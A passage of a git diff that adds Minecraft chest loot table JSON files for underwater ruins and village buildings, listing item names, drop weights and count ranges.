} + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "name": "minecraft:leather_chestplate" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:fishing_rod" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:exploration_map", + "decoration": "red_x", + "zoom": 1, + "skip_existing_chunks": false + } + ], + "name": "minecraft:map" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/underwater_ruin_small.json b/src/data/minecraft/loot_tables/chests/underwater_ruin_small.json new file mode 100644 index 00000000..4e6b8052 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/underwater_ruin_small.json @@ -0,0 +1,94 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:stone_axe" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:leather_chestplate" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:fishing_rod" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:exploration_map", + "decoration": "red_x", + "zoom": 1, + "skip_existing_chunks": false + } + ], + "name": "minecraft:map" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_armorer.json b/src/data/minecraft/loot_tables/chests/village/village_armorer.json new file mode 100644 index 00000000..8bc88d44 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_armorer.json @@ -0,0 +1,52 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_helmet" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_butcher.json b/src/data/minecraft/loot_tables/chests/village/village_butcher.json new file mode 100644 index 00000000..3c320795 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_butcher.json @@ -0,0 +1,93 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:porkchop" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beef" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:mutton" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_cartographer.json b/src/data/minecraft/loot_tables/chests/village/village_cartographer.json new file mode 100644 index 00000000..962dfb62 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_cartographer.json @@ -0,0 +1,79 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:map" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:paper" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:compass" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:stick" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_desert_house.json b/src/data/minecraft/loot_tables/chests/village/village_desert_house.json new file mode 100644 index 00000000..4c054baf --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_desert_house.json @@ -0,0 +1,100 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:clay_ball" + }, + { + "type": "minecraft:item", + "name": "minecraft:green_dye" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:cactus" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:dead_bush" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_fisher.json b/src/data/minecraft/loot_tables/chests/village/village_fisher.json new file mode 100644 index 00000000..2f958375 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_fisher.json @@ -0,0 +1,105 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:cod" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:salmon" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:water_bucket" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:barrel" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat_seeds" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_fletcher.json b/src/data/minecraft/loot_tables/chests/village/village_fletcher.json new file mode 100644 index 00000000..650d260c --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_fletcher.json @@ -0,0 +1,93 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:feather" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:egg" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:flint" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:stick" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_mason.json b/src/data/minecraft/loot_tables/chests/village/village_mason.json new file mode 100644 index 00000000..85c580a0 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_mason.json @@ -0,0 +1,69 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:clay_ball" + }, + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:stone" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:stone_bricks" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "name": "minecraft:yellow_dye" + }, + { + "type": "minecraft:item", + "name": "minecraft:smooth_stone" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_plains_house.json b/src/data/minecraft/loot_tables/chests/village/village_plains_house.json new file mode 100644 index 00000000..d8195f3f --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_plains_house.json @@ -0,0 +1,120 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:dandelion" + }, + { + "type": "minecraft:item", + "name": "minecraft:poppy" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:potato" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "name": "minecraft:feather" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:oak_sapling" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_savanna_house.json b/src/data/minecraft/loot_tables/chests/village/village_savanna_house.json new file mode 100644 index 00000000..45570f28 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_savanna_house.json @@ -0,0 +1,120 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:grass" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:tall_grass" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat_seeds" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:acacia_sapling" + }, + { + "type": "minecraft:item", + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:torch" + }, + { + "type": "minecraft:item", + "name": "minecraft:bucket" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_shepherd.json b/src/data/minecraft/loot_tables/chests/village/village_shepherd.json new file mode 100644 index 00000000..4beabbc5 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_shepherd.json @@ -0,0 +1,112 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:white_wool" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:black_wool" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gray_wool" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:brown_wool" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:light_gray_wool" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "name": "minecraft:shears" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_snowy_house.json b/src/data/minecraft/loot_tables/chests/village/village_snowy_house.json new file mode 100644 index 00000000..dcc9c6b8 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_snowy_house.json @@ -0,0 +1,120 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:blue_ice" + }, + { + "type": "minecraft:item", + "weight": 4, + "name": "minecraft:snow_block" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:potato" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beetroot_seeds" + }, + { + "type": "minecraft:item", + "name": "minecraft:beetroot_soup" + }, + { + "type": "minecraft:item", + "name": "minecraft:furnace" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:snowball" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_taiga_house.json b/src/data/minecraft/loot_tables/chests/village/village_taiga_house.json new file mode 100644 index 00000000..7919341a --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_taiga_house.json @@ -0,0 +1,151 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:fern" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:large_fern" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:potato" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:sweet_berries" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:pumpkin_seeds" + }, + { + "type": "minecraft:item", + "name": "minecraft:pumpkin_pie" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spruce_sapling" + }, + { + "type": "minecraft:item", + "name": "minecraft:spruce_sign" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spruce_log" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_tannery.json b/src/data/minecraft/loot_tables/chests/village/village_tannery.json new file mode 100644 index 00000000..94dd19aa --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_tannery.json @@ -0,0 +1,81 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:leather" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:leather_chestplate" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:leather_boots" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:leather_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:leather_leggings" + }, + { + "type": "minecraft:item", + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_temple.json b/src/data/minecraft/loot_tables/chests/village/village_temple.json new file mode 100644 index 00000000..383c715e --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_temple.json @@ -0,0 +1,101 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 7, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:lapis_lazuli" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_toolsmith.json b/src/data/minecraft/loot_tables/chests/village/village_toolsmith.json new file mode 100644 index 00000000..d33a2ba9 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_toolsmith.json @@ -0,0 +1,111 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_pickaxe" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:stick" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_shovel" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/village/village_weaponsmith.json b/src/data/minecraft/loot_tables/chests/village/village_weaponsmith.json new file mode 100644 index 00000000..64c35bbb --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/village/village_weaponsmith.json @@ -0,0 +1,166 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": 